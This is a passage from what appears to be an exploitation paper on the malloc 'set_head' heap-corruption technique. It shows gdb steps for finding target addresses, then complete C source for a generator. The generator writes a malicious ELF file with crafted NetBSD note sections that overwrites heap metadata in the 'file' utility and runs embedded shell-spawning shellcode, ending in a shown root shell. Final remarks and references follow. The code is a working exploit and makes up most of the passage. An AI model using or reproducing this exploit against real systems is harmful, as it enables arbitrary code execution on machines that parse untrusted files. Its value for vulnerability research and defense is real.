0x8061538: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061548: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061558: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061568: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061578: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061588: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8061598: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80615a8: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80615b8: 0x90909090 0x90909090
|
|
(gdb)
|
|
|
|
0x8061558 is a valid address.
|
|
|
|
|
|
5- To get the return location for your exploit, get a saved EIP from a
|
|
stack frame.
|
|
|
|
(gdb) frame 3
|
|
#3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at
|
|
readelf.c:1007
|
|
1007 if (doshn(ms, class, swap, fd,
|
|
(gdb) x $ebp+4
|
|
0xbffff7fc: 0x400172b3
|
|
(gdb)
|
|
|
|
0xbffff7fc is the return location.
|
|
|
|
|
|
6- You can now call the exploit with the values that you have found.
|
|
|
|
bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal
|
|
--[ Using 0x80614f8 as the top chunk location.
|
|
--[ Using 0xbffff7fc as the return location.
|
|
--[ Impossible to use 0x8061558 as the return address. Using 0x8061559
|
|
instead
|
|
--[ The file has been written
|
|
bash# file mal
|
|
sh-2.05b#
|
|
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <stdint.h>
|
|
|
|
|
|
#define DEBUG 0
|
|
|
|
|
|
#define initial_ELF_garbage 75
|
|
//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
|
|
// linked
|
|
|
|
#define initial_netbsd_garbage 22
|
|
//, NetBSD-style, from '
|
|
|
|
#define post_netbsd_garbage 12
|
|
//' (signal 0)
|
|
|
|
|
|
// The following #define are from malloc.c and are used
|
|
// to compute the values for the malloc size and the top chunk size.
|
|
#define PREV_INUSE 0x1
|
|
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
|
|
#define SIZE_SZ (sizeof(size_t))
|
|
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
|
|
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
|
#define MIN_CHUNK_SIZE 16
|
|
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK))
|
|
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
|
|
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK)
|
|
|
|
|
|
// Offsets of the note entries in the file
|
|
#define OFFSET_31_BYTES 2048
|
|
#define OFFSET_N_BYTES 2304
|
|
#define OFFSET_0_BYTES 2560
|
|
#define OFFSET_OVERWRITE 2816
|
|
#define OFFSET_SHELLCODE 4096
|
|
|
|
|
|
/* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
|
|
http://metasploit.com */
|
|
unsigned char scode[] =
|
|
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
|
|
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
|
|
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
|
|
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
|
|
"\xc6\x2f\x40\xb3";
|
|
|
|
|
|
struct math {
|
|
int nnetbsd;
|
|
int nname;
|
|
};
|
|
|
|
struct sethead {
|
|
unsigned long topchunk_size;
|
|
unsigned long malloc_size;
|
|
};
|
|
|
|
|
|
// To be a little more independent, we ripped
|
|
// the following ELF structures from elf.h
|
|
typedef struct
|
|
{
|
|
unsigned char e_ident[16];
|
|
uint16_t e_type;
|
|
uint16_t e_machine;
|
|
uint32_t e_version;
|
|
uint32_t e_entry;
|
|
uint32_t e_phoff;
|
|
uint32_t e_shoff;
|
|
uint32_t e_flags;
|
|
uint16_t e_ehsize;
|
|
uint16_t e_phentsize;
|
|
uint16_t e_phnum;
|
|
uint16_t e_shentsize;
|
|
uint16_t e_shnum;
|
|
uint16_t e_shstrndx;
|
|
} Elf32_Ehdr;
|
|
|
|
typedef struct
|
|
{
|
|
uint32_t sh_name;
|
|
uint32_t sh_type;
|
|
uint32_t sh_flags;
|
|
uint32_t sh_addr;
|
|
uint32_t sh_offset;
|
|
uint32_t sh_size;
|
|
uint32_t sh_link;
|
|
uint32_t sh_info;
|
|
uint32_t sh_addralign;
|
|
uint32_t sh_entsize;
|
|
} Elf32_Shdr;
|
|
|
|
typedef struct
|
|
{
|
|
uint32_t n_namesz;
|
|
uint32_t n_descsz;
|
|
uint32_t n_type;
|
|
} Elf32_Nhdr;
|
|
|
|
|
|
struct sethead * set_head_compute
|
|
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
|
|
|
|
unsigned long check_retloc, check_retadr;
|
|
struct sethead *shead;
|
|
|
|
shead = (struct sethead *) malloc (8);
|
|
if (shead == NULL) {
|
|
fprintf (stderr,
|
|
"--[ Could not allocate memory for sethead structure\n");
|
|
exit (1);
|
|
}
|
|
|
|
if ( (toploc % 8) != 0 ) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the top chunk location.",
|
|
toploc);
|
|
|
|
toploc = toploc - (toploc % 8);
|
|
fprintf (stderr, " Using 0x%x instead\n", toploc);
|
|
} else
|
|
fprintf (stderr,
|
|
"--[ Using 0x%x as the top chunk location.\n", toploc);
|
|
|
|
// The minus 8 is to take care of the normalization
|
|
// of the malloc parameter
|
|
shead->malloc_size = (retloc - toploc - 8);
|
|
|
|
// By adding the 8, we are able to sometimes perfectly hit
|
|
// the return address. To hit it perfectly, retadr must be a multiple
|
|
// of 8 + 1 (for the PREV_INUSE flag).
|
|
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
|
|
|
|
if (shead->topchunk_size < shead->malloc_size) {
|
|
fprintf (stderr,
|
|
"--[ ERROR: topchunk size is less than malloc size.\n");
|
|
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
|
|
exit (1);
|
|
}
|
|
|
|
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
|
|
if (check_retloc != retloc) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return location. ", retloc);
|
|
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
|
|
retloc);
|
|
|
|
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
|
|
- request2size (shead->malloc_size)) | PREV_INUSE;
|
|
if (check_retadr != retadr) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return address.", retadr);
|
|
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
|
|
retadr);
|
|
|
|
return shead;
|
|
}
|
|
|
|
|
|
/*
|
|
Not CPU friendly :)
|
|
*/
|
|
struct math *
|
|
compute (int offset) {
|
|
|
|
int accumulator = 0;
|
|
int i, j;
|
|
struct math *math;
|
|
|
|
math = (struct math *) malloc (8);
|
|
|
|
if (math == NULL) {
|
|
printf ("--[ Could not allocate memory for math structure\n");
|
|
exit (1);
|
|
}
|
|
|
|
for (i = 1; i < 100;i++) {
|
|
|
|
for (j = 0; j < (i * 31); j++) {
|
|
|
|
accumulator = 0;
|
|
accumulator += initial_ELF_garbage;
|
|
accumulator += (i * (initial_netbsd_garbage +
|
|
post_netbsd_garbage));
|
|
accumulator += initial_netbsd_garbage;
|
|
|
|
accumulator += j;
|
|
|
|
if (accumulator == offset) {
|
|
math->nnetbsd = i;
|
|
math->nname = j;
|
|
|
|
return math;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Failed to find a value
|
|
return 0;
|
|
}
|
|
|
|
|
|
void
|
|
put_byte (char *ptr, unsigned char data) {
|
|
*ptr = data;
|
|
}
|
|
|
|
|
|
void
|
|
put_longword (char *ptr, unsigned long data) {
|
|
put_byte (ptr, data);
|
|
put_byte (ptr + 1, data >> 8);
|
|
put_byte (ptr + 2, data >> 16);
|
|
put_byte (ptr + 3, data >> 24);
|
|
}
|
|
|
|
|
|
FILE *
|
|
open_file (char *filename) {
|
|
|
|
FILE *fp;
|
|
|
|
fp = fopen ( filename , "w" );
|
|
|
|
if (!fp) {
|
|
perror ("Cant open file");
|
|
exit (1);
|
|
}
|
|
|
|
return fp;
|
|
}
|
|
|
|
void
|
|
usage (char *progname) {
|
|
|
|
printf ("\nTo use:\n");
|
|
printf ("%s <return location> <return address> ", progname);
|
|
printf ("<topchunk location> <output filename>\n\n");
|
|
|
|
exit (1);
|
|
}
|
|
|
|
|
|
int
|
|
main (int argc, char *argv[]) {
|
|
|
|
FILE *fp;
|
|
Elf32_Ehdr *elfhdr;
|
|
Elf32_Shdr *elfshdr;
|
|
Elf32_Nhdr *elfnhdr;
|
|
char *filename;
|
|
char *buffer, *ptr;
|
|
int i;
|
|
struct math *math;
|
|
struct sethead *shead;
|
|
int left_bytes;
|
|
unsigned long retloc, retadr, toploc;
|
|
unsigned long topchunk_size, malloc_size;
|
|
|
|
if ( argc != 5) {
|
|
usage ( argv[0] );
|
|
}
|
|
|
|
sscanf (argv[1], "0x%x", &retloc);
|
|
sscanf (argv[2], "0x%x", &retadr);
|
|
sscanf (argv[3], "0x%x", &toploc);
|
|
|
|
filename = (char *) malloc (256);
|
|
if (filename == NULL) {
|
|
printf ("--[ Cannot allocate memory for filename...\n");
|
|
exit (1);
|
|
}
|
|
strncpy (filename, argv[4], 255);
|
|
|
|
buffer = (char *) malloc (8192);
|
|
if (buffer == NULL) {
|
|
printf ("--[ Cannot allocate memory for file buffer\n");
|
|
exit (1);
|
|
}
|
|
memset (buffer, 0, 8192);
|
|
|
|
math = compute (1036);
|
|
if (!math) {
|
|
printf ("--[ Unable to compute a value\n");
|
|
exit (1);
|
|
}
|
|
|
|
shead = set_head_compute (retloc, retadr, toploc);
|
|
topchunk_size = shead->topchunk_size;
|
|
malloc_size = shead->malloc_size;
|
|
|
|
|
|
ptr = buffer;
|
|
elfhdr = (Elf32_Ehdr *) ptr;
|
|
|
|
// Fill our ELF header
|
|
sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01");
|
|
elfhdr->e_type = 2; // ET_EXEC
|
|
elfhdr->e_machine = 3; // EM_386
|
|
elfhdr->e_version = 1; // EV_CURRENT
|
|
elfhdr->e_entry = 0;
|
|
elfhdr->e_phoff = 0;
|
|
elfhdr->e_shoff = 52;
|
|
elfhdr->e_flags = 0;
|
|
elfhdr->e_ehsize = 52;
|
|
elfhdr->e_phentsize = 32;
|
|
elfhdr->e_phnum = 0;
|
|
elfhdr->e_shentsize = 40;
|
|
elfhdr->e_shnum = math->nnetbsd + 2;
|
|
elfhdr->e_shstrndx = 0;
|
|
|
|
|
|
ptr += elfhdr->e_ehsize;
|
|
elfshdr = (Elf32_Shdr *) ptr;
|
|
|
|
// This loop lets us eat an arbitrary number of bytes in ms->o.buf
|
|
left_bytes = math->nname;
|
|
for (i = 0; i < math->nnetbsd; i++) {
|
|
elfshdr->sh_name = 0;
|
|
elfshdr->sh_type = 7; // SHT_NOTE
|
|
elfshdr->sh_flags = 0;
|
|
elfshdr->sh_addr = 0;
|
|
elfshdr->sh_size = 256;
|
|
elfshdr->sh_link = 0;
|
|
elfshdr->sh_info = 0;
|
|
elfshdr->sh_addralign = 0;
|
|
elfshdr->sh_entsize = 0;
|
|
|
|
if (left_bytes > 31) {
|
|
// filename == 31
|
|
elfshdr->sh_offset = OFFSET_31_BYTES;
|
|
left_bytes -= 31;
|
|
} else if (left_bytes != 0) {
|
|
// filename < 31 && != 0
|
|
elfshdr->sh_offset = OFFSET_N_BYTES;
|
|
left_bytes = 0;
|
|
} else {
|
|
// filename == 0
|
|
elfshdr->sh_offset = OFFSET_0_BYTES;
|
|
}
|
|
|
|
// The first section header will also let us load
|
|
// the shellcode in memory :)
|
|
// Indeed, by requesting a large memory block,
|
|
// the topchunk will be splitted, and this memory region
|
|
// will be left untouched until we need it.
|
|
// We assume its name is 31 bytes long.
|
|
if (i == 0) {
|
|
elfshdr->sh_size = 4096;
|
|
elfshdr->sh_offset = OFFSET_SHELLCODE;
|
|
}
|
|
|
|
elfshdr++;
|
|
}
|
|
|
|
|
|
// This section header entry is for the data that will
|
|
// overwrite the topchunk size pointer
|
|
elfshdr->sh_name = 0;
|
|
elfshdr->sh_type = 7; // SHT_NOTE
|
|
elfshdr->sh_flags = 0;
|
|
elfshdr->sh_addr = 0;
|
|
elfshdr->sh_offset = OFFSET_OVERWRITE;
|
|
elfshdr->sh_size = 256;
|
|
elfshdr->sh_link = 0;
|
|
elfshdr->sh_info = 0;
|
|
elfshdr->sh_addralign = 0;
|
|
elfshdr->sh_entsize = 0;
|
|
elfshdr++;
|
|
|
|
|
|
// This section header entry triggers the call to malloc
|
|
// with a user supplied length.
|
|
// It is a requirement for the set_head technique to work
|
|
elfshdr->sh_name = 0;
|
|
elfshdr->sh_type = 7; // SHT_NOTE
|
|
elfshdr->sh_flags = 0;
|
|
elfshdr->sh_addr = 0;
|
|
elfshdr->sh_offset = OFFSET_N_BYTES;
|
|
elfshdr->sh_size = malloc_size;
|
|
elfshdr->sh_link = 0;
|
|
elfshdr->sh_info = 0;
|
|
elfshdr->sh_addralign = 0;
|
|
elfshdr->sh_entsize = 0;
|
|
elfshdr++;
|
|
|
|
|
|
// This note entry lets us eat 31 bytes + overhead
|
|
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES);
|
|
elfnhdr->n_namesz = 12;
|
|
elfnhdr->n_descsz = 12;
|
|
elfnhdr->n_type = 1;
|
|
ptr = buffer + OFFSET_31_BYTES + 12;
|
|
sprintf (ptr, "NetBSD-CORE");
|
|
sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c,
|
|
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
|
|
|
|
|
|
// This note entry lets us eat an arbitrary number of bytes + overhead
|
|
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES);
|
|
elfnhdr->n_namesz = 12;
|
|
elfnhdr->n_descsz = 12;
|
|
elfnhdr->n_type = 1;
|
|
ptr = buffer + OFFSET_N_BYTES + 12;
|
|
sprintf (ptr, "NetBSD-CORE");
|
|
for (i = 0; i < (math->nname % 31); i++)
|
|
buffer[OFFSET_N_BYTES+24+0x7c+i]='B';
|
|
|
|
|
|
// This note entry lets us eat 0 bytes + overhead
|
|
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES);
|
|
elfnhdr->n_namesz = 12;
|
|
elfnhdr->n_descsz = 12;
|
|
elfnhdr->n_type = 1;
|
|
ptr = buffer + OFFSET_0_BYTES + 12;
|
|
sprintf (ptr, "NetBSD-CORE");
|
|
buffer[OFFSET_0_BYTES+24+0x7c]=0;
|
|
|
|
|
|
// This note entry lets us specify the value that will
|
|
// overwrite the topchunk size
|
|
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE);
|
|
elfnhdr->n_namesz = 12;
|
|
elfnhdr->n_descsz = 12;
|
|
elfnhdr->n_type = 1;
|
|
ptr = buffer + OFFSET_OVERWRITE + 12;
|
|
sprintf (ptr, "NetBSD-CORE");
|
|
// Put the new topchunk size 7 times in memory
|
|
// The note entry program name is at a specific, odd offset (24+0x7c)?
|
|
for (i = 0; i < 7; i++)
|
|
put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4),
|
|
topchunk_size);
|
|
|
|
|
|
// This note entry lets us eat 31 bytes + overhead, but
|
|
// its real purpose is to load the shellcode in memory.
|
|
// We assume that its name is 31 bytes long.
|
|
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE);
|
|
elfnhdr->n_namesz = 12;
|
|
elfnhdr->n_descsz = 12;
|
|
elfnhdr->n_type = 1;
|
|
ptr = buffer + OFFSET_SHELLCODE + 12;
|
|
sprintf (ptr, "NetBSD-CORE");
|
|
sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c,
|
|
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
|
|
|
|
|
|
// Fill this memory region with our shellcode.
|
|
// Remember to leave the note entry untouched ...
|
|
memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256);
|
|
sprintf (buffer + 8191 - strlen (scode), scode);
|
|
|
|
|
|
fp = open_file (filename);
|
|
if (fwrite (buffer, 8192, 1, fp) != 0 ) {
|
|
printf ("--[ The file has been written\n");
|
|
} else {
|
|
printf ("--[ Can not write to the file\n");
|
|
exit (1);
|
|
}
|
|
fclose (fp);
|
|
|
|
|
|
free (shead);
|
|
free (math);
|
|
free (buffer);
|
|
free (filename);
|
|
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
--[ 7 - Final words
|
|
|
|
That's all for the details of this technique; a lot has already been said
|
|
through this paper. By looking at the complexity of the malloc code, there
|
|
are probably many other ways to take control of a process by corrupting the
|
|
malloc chunks.
|
|
|
|
Of course, this paper explains the technical details of set_head, but
|
|
personally, I think that all the exploitation techniques are ephemeral.
|
|
This is more true, especially recently, with all the low level security
|
|
controls that were added to the modern operating systems. Beside having
|
|
great technical skills, I personally think it's important to develop your
|
|
mental skills and your creativity. Try to improve your attitude when
|
|
solving a difficult problem. Develop your perseverance and determination,
|
|
even though you may have failed at the same thing 20, 50 or 100 times in a
|
|
row.
|
|
|
|
I would like to greet the following individuals: bond, dp, jinx,
|
|
Michael and nitr0gen. There is more people that I forget. Thanks for the
|
|
help and the great conversations we had over the last few years.
|
|
|
|
|
|
--[ 8 - References
|
|
|
|
1. Solar Designer, http://www.openwall.com/advisories/OW-002-netscape-jpeg/
|
|
|
|
2. Anonymous, http://www.phrack.org/archives/57/p57-0x09
|
|
|
|
3. Kaempf, Michel, http://www.phrack.org/archives/57/p57-0x08
|
|
|
|
4. Phantasmal Phantasmagoria,
|
|
http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
|
|
|
|
5. Phantasmal Phantasmagoria,
|
|
http://seclists.org/vuln-dev/2004/Feb/0025.html
|
|
|
|
6. jp,
|
|
http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt
|
|
|
|
7. Guay-Leroux, Jean-Sebastien, http://www.guay-leroux.com/projects.html
|
|
|
|
8. gera, http://www.phrack.org/archives/59/p59-0x07.txt
|
|
|
|
9. The Shellcoder's Handbook: Discovering and Exploiting Security Holes
|
|
(2004), Wiley
|